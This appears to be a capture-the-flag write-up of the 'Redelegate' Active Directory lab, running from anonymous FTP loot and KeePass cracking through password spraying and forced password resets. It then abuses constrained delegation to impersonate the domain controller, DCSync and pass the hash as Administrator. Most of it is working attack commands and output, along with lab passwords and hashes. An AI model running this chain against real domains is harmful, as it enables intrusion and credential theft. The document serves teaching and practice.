Introduction #
Redelegate starts with a loot grab, anonymous FTP, which has a KeePass database and some internal audit notes that basically spoonfeeds the password. From there it’s a chain of small wins: spray a cracked password across the domain, ride an ACL abuse path through a couple of group memberships, and land on a machine account with GenericAll. The real payoff is SeEnableDelegationPrivilege, normally a Domain Admin-only power which lets me configure constrained delegation on that machine account and abuse S4U2Self/S4U2Proxy to impersonate the DC itself. From there it’s a straight shot to DCSync and Administrator.
Recon #
nmap #
Initial nmap finds many open ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.60.80
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 01:11AM 434 CyberAudit.txt
| 10-20-24 05:14AM 2622 Shared.kdbx
|_10-20-24 01:26AM 580 TrainingAgenda.txt
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-08-25 06:17:50Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.129.60.80:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-25T06:10:52
| Not valid after: 2056-08-25T06:10:52
| MD5: 8a73:b2bc:3d05:48fa:2ba5:a89f:a72c:aed2
| SHA-1: 83a2:de72:9a37:bd0b:2b76:6ae2:b1a9:9c23:7d4e:3efa
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQEhCSovDt2ptO4114xKRPizANBgkqhkiG9w0BAQsFADA7
<SNIP>
| xnD7VQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-08-25T06:18:01+00:00; -4s from scanner time.
| ms-sql-ntlm-info:
| 10.129.60.80:1433:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
|_ Product_Version: 10.0.20348
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Issuer: commonName=dc.redelegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-24T06:08:10
| Not valid after: 2027-02-23T06:08:10
| MD5: 67e1:defc:c6b0:e29d:f149:902b:f4d0:8130
| SHA-1: c86a:a400:877e:6cd0:6a4f:b638:43f0:2b9f:0360:d421
| -----BEGIN CERTIFICATE-----
| MIIC5DCCAcygAwIBAgIQItvkjhUFDqNLUggnC7tiHjANBgkqhkiG9w0BAQsFADAb
<SNIP>
| g4m4oBtxW5SfWcTpfvD1pUAv06YLAmJi
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-08-25T06:17:52+00:00
|_ssl-date: 2026-08-25T06:18:01+00:00; -4s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-08-25T06:17:53
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 41600/tcp): CLEAN (Couldn't connect)
| Check 2 (port 13547/tcp): CLEAN (Couldn't connect)
| Check 3 (port 13145/udp): CLEAN (Timeout)
| Check 4 (port 7865/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -3s, deviation: 0s, median: -4s
Based on the open ports, it seems to be Windows Domain Controller. The domain is redelegate.vl, and the hostname is DC.
I can generate host file:
└─$ netexec smb 10.129.60.80 --generate-hosts-file redelegate.hosts
SMB 10.129.60.80 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
└─$ cat redelegate.hosts
10.129.60.80 DC.redelegate.vl redelegate.vl DC
and add it to /etc/hosts
Port 21 - FTP #
There should be anonymous access to the FTP based on the nmap scan with 3 files:
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 01:11AM 434 CyberAudit.txt
| 10-20-24 05:14AM 2622 Shared.kdbx
|_10-20-24 01:26AM 580 TrainingAgenda.txt
| ftp-syst:
|_ SYST: Windows_NT
I found and downloaded these files.
Switch to binary mode to prevent some sort of corruption for the kdbx file.
└─$ ftp 10.129.60.80
Connected to 10.129.60.80.
220 Microsoft FTP Service
Name (10.129.60.80:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||53739|)
125 Data connection already open; Transfer starting.
10-20-24 01:11AM 434 CyberAudit.txt
10-20-24 05:14AM 2622 Shared.kdbx
10-20-24 01:26AM 580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
mget CyberAudit.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||53741|)
150 Opening ASCII mode data connection.
100% |**************************************************************************************| 434 12.84 KiB/s 00:00 ETA
226 Transfer complete.
434 bytes received in 00:00 (12.79 KiB/s)
mget Shared.kdbx [anpqy?]? y
229 Entering Extended Passive Mode (|||53742|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************| 2622 106.94 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 10 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
2622 bytes received in 00:00 (105.13 KiB/s)
mget TrainingAgenda.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||53743|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************| 580 21.89 KiB/s 00:00 ETA
226 Transfer complete.
580 bytes received in 00:00 (21.69 KiB/s)
There is CyberAudit.txt:
Which shows findings of recent audit with remediation steps, some of which are still not done, and worth keeping in mind…
Next, there is TrainingAgenda.txt:
Which is presumably connected to the audit with training schedule and attendance. Interestingly, the training called “Weak Passwords” - Why “SeasonYear!” is not a good password only got 7 attendees.
And finally, there is Shared.kdbx, a KeePass database.
Marie.Curie credentials #
Keepass #
From the hint in TrainingAgenda I can create a small wordlist with the SeasonYear! schema:
└─$ cat seasons_wordlit.txt
Winter2024!
Spring2024!
Summer2024!
Fall2024!
Winter2025!
Spring2025!
Summer2025!
Fall2025!
Winter2026!
Spring2026!
Summer2026!
Fall2026!
And try to access the KeePass database.
Get a hash:
└─$ keepass2john Shared.kdbx >> Shared.hash
┌──(kali㉿kali)-[~/CTF/HTB/Redelegate]
└─$ cat Shared.hash
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
And run it with the custom seasons wordlist:
└─$ john Shared.hash --wordlist=seasons_wordlit.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Fall2024! (Shared)
1g 0:00:00:00 DONE (2026-08-25 03:06) 1.492g/s 19.40p/s 19.40c/s 19.40C/s Winter2024!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
There is a hit and I have password: Fall2024!
Inside there are several passwords, the one looking most promising is for the SQL Guest - zDPBpaF4FywlqIv11vii since there is sql database on port 1433.
SQL Database #
The credentials work for the database:
└─$ impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@dc.redelegate.vl
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>
Unfortunatelly, the classic xp_cmdshell does not work:
SQL (SQLGuest guest@master)> enable_xp_cmdshell
ERROR(DC\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(DC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
Enum database - Users #
QL (SQLGuest guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
SQL (SQLGuest guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- ----
dbo db_owner sa master dbo 1 01
guest public NULL NULL guest 2 00
INFORMATION_SCHEMA public NULL NULL NULL 3 NULL
sys public NULL NULL NULL 4 NULL
Not much there, but I can still get the users using the mssql_enum_domain_accounts from metasploit
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > show options
Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):
Name Current Setting Required Description
---- --------------- -------- -----------
FuzzNum 10000 yes Number of principal_ids to fuzz.
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT 1433 yes The target port (TCP)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS 10.129.60.80
RHOSTS => 10.129.60.80
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME SQLGuest
USERNAME => SQLGuest
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set PASSWORD zDPBpaF4FywlqIv11vii
PASSWORD => zDPBpaF4FywlqIv11vii
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
Pretty quickly I get list of users:
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.129.60.80
[*] 10.129.60.80:1433 - Attempting to connect to the database server at 10.129.60.80:1433 as SQLGuest...
[+] 10.129.60.80:1433 - Connected.
[*] 10.129.60.80:1433 - SQL Server Name: WIN-Q13O908QBPG
[*] 10.129.60.80:1433 - Domain Name: REDELEGATE
[+] 10.129.60.80:1433 - Found the domain sid: 010500000000000515000000a185deefb22433798d8e847a
[*] 10.129.60.80:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.60.80:1433 - - WIN-Q13O908QBPG\Administrator
[*] 10.129.60.80:1433 - - REDELEGATE\Guest
[*] 10.129.60.80:1433 - - REDELEGATE\krbtgt
[*] 10.129.60.80:1433 - - REDELEGATE\Domain Admins
[*] 10.129.60.80:1433 - - REDELEGATE\Domain Users
[*] 10.129.60.80:1433 - - REDELEGATE\Domain Guests
[*] 10.129.60.80:1433 - - REDELEGATE\Domain Computers
[*] 10.129.60.80:1433 - - REDELEGATE\Domain Controllers
[*] 10.129.60.80:1433 - - REDELEGATE\Cert Publishers
[*] 10.129.60.80:1433 - - REDELEGATE\Schema Admins
[*] 10.129.60.80:1433 - - REDELEGATE\Enterprise Admins
[*] 10.129.60.80:1433 - - REDELEGATE\Group Policy Creator Owners
[*] 10.129.60.80:1433 - - REDELEGATE\Read-only Domain Controllers
[*] 10.129.60.80:1433 - - REDELEGATE\Cloneable Domain Controllers
[*] 10.129.60.80:1433 - - REDELEGATE\Protected Users
[*] 10.129.60.80:1433 - - REDELEGATE\Key Admins
[*] 10.129.60.80:1433 - - REDELEGATE\Enterprise Key Admins
[*] 10.129.60.80:1433 - - REDELEGATE\RAS and IAS Servers
[*] 10.129.60.80:1433 - - REDELEGATE\Allowed RODC Password Replication Group
[*] 10.129.60.80:1433 - - REDELEGATE\Denied RODC Password Replication Group
[*] 10.129.60.80:1433 - - REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
[*] 10.129.60.80:1433 - - REDELEGATE\DC$
[*] 10.129.60.80:1433 - - REDELEGATE\FS01$
[*] 10.129.60.80:1433 - - REDELEGATE\Christine.Flanders
[*] 10.129.60.80:1433 - - REDELEGATE\Marie.Curie
[*] 10.129.60.80:1433 - - REDELEGATE\Helen.Frost
[*] 10.129.60.80:1433 - - REDELEGATE\Michael.Pontiac
[*] 10.129.60.80:1433 - - REDELEGATE\Mallory.Roberts
[*] 10.129.60.80:1433 - - REDELEGATE\James.Dinkleberg
[*] 10.129.60.80:1433 - - REDELEGATE\Helpdesk
[*] 10.129.60.80:1433 - - REDELEGATE\IT
[*] 10.129.60.80:1433 - - REDELEGATE\Finance
[*] 10.129.60.80:1433 - - REDELEGATE\DnsAdmins
[*] 10.129.60.80:1433 - - REDELEGATE\DnsUpdateProxy
[*] 10.129.60.80:1433 - - REDELEGATE\Ryan.Cooper
[*] 10.129.60.80:1433 - - REDELEGATE\sql_svc
[+] 10.129.60.80:1433 - 37 user accounts, groups, and computer accounts were found.
[*] 10.129.60.80:1433 - Query results have been saved to: /home/kali/.msf4/loot/20260825034552_default_10.129.60.80_mssql.domain.acc_621587.txt
[*] Auxiliary module execution completed
With the users I can check for password reuse or other occurences of the SeasonYear! schema.
Password Spray #
With the user list:
└─$ cat user.list
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Helpdesk
IT
Finance
DnsAdmins
DnsUpdateProxy
Ryan.Cooper
sql_svc
and the SeasonYear! wordlist I can attempt a password spray:
└─$ nxc smb 10.129.60.80 -u user.list -p seasons_wordlit.txt --continue-on-success
SMB 10.129.60.80 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.60.80 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
There is a hit and I have credentials for Marie.Curie - Fall2024!
Bloodhound #
With a set of working credentials I can run BloodHound and see what comes next:
bloodhound-ce-python -c all -d redelegate.vl -u Marie.Curie -p 'Fall2024!' -ns 10.129.60.80 --zip
Looking at the output, the path is clear, I have credentials for Marie.Curie who is member of the Helpdesk group. This group has ForceChangePassword over several users, one of which is Helen.Frost, member of IT group that has GenericAll over FS01.
Helen.Frost #
Starting with the password change:
└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Marie.Curie -p 'Fall2024!' set password 'Helen.Frost' 'Pwned123!'
[+] Password changed successfully!
Testing the new password:
└─$ nxc smb 10.129.60.80 -u Helen.Frost -p 'Pwned123!'
SMB 10.129.60.80 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.60.80 445 DC [+] redelegate.vl\Helen.Frost:Pwned123!
I can use evil-winrm to get in, and grab the user flag:
└─$ evil-winrm -i 10.129.60.80 -u Helen.Frost -p 'Pwned123!'
<SNIP>
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> ls
Directory: C:\Users\Helen.Frost\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/24/2026 11:08 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt
e3764b9ba159a02ee1fbdd2b4378bbdd
While there, quick enum:
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
====================== ==============================================
redelegate\helen.frost S-1-5-21-4024337825-2033394866-2055507597-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
REDELEGATE\IT Group S-1-5-21-4024337825-2033394866-2055507597-1113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
It confirms membership of the REDELEGATE\IT group and so the previously discovered path to FS01$ from BloodHound. More important, there is SeEnableDelegationPrivilege is enabled.
This lets a principal configure Kerberos delegation attributes on AD objects. Meaning I should be able to set TRUSTED_TO_AUTH_FOR_DELEGATION and msDS-AllowedToDelegateTo.
Normally modifying these should require Domain Admin. With this and the GenericAll over FS01$ from the IT membership, there is a complete chain.
- Take over the machine account
- Configure constrained delegation
- Abuse S4U2Proxy to impersonate the DC
Administrator #
First, take over the FS01$ - with GenericAll I can set its password directly:
└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' set password 'FS01$' 'Pwned123!'
[+] Password changed successfully!
Now to configure constrained delegation. Add TRUSTED_TO_AUTH_FOR_DELEGATION to the machine account:
└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl
This should enable protocol transition, meaning FS01$ can request a service ticket on behalf of any domain user.
Next, setting msDS-AllowedToDelegateTo to cifs/dc.redelegate.vl, which constrains where that delegation is permitted to go.
└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated
Constrained delegation with protocol transition enables the S4U2Self/S4U2Proxy.
FS01$ can act on behalf of other users, first it request a service ticket to itself “pretending” to be any domain user (S4U2Self), and then trade that ticket for a real usable ticket to a specific service (S4U2Proxy).
If it impersonates the domain controller account DC$, the ticket ends up for cifs/dc.redelegate.vl which is effectively domain-controller-level privileges - enough to run DCSync and grab the Administrator hash.
└─$ impacket-getST redelegate.vl/FS01$:'Pwned123!' -spn cifs/dc.redelegate.vl -impersonate DC
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
With the ticket, I can run secretsdump to pull the NTDS secrets.
export KRB5CCNAME=DC@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
└─$ impacket-secretsdump -k dc.redelegate.vl
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
<SNIP>
[*] Cleaning up...
And I can rm in to grab the root flag:
└─$ evil-winrm -i 10.129.60.80 -u Administrator -H 'ec17f7a2a4d96e177bfd101b94ffc0a7'
<SNIP>
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1344829c27efafc959a6f05aee987370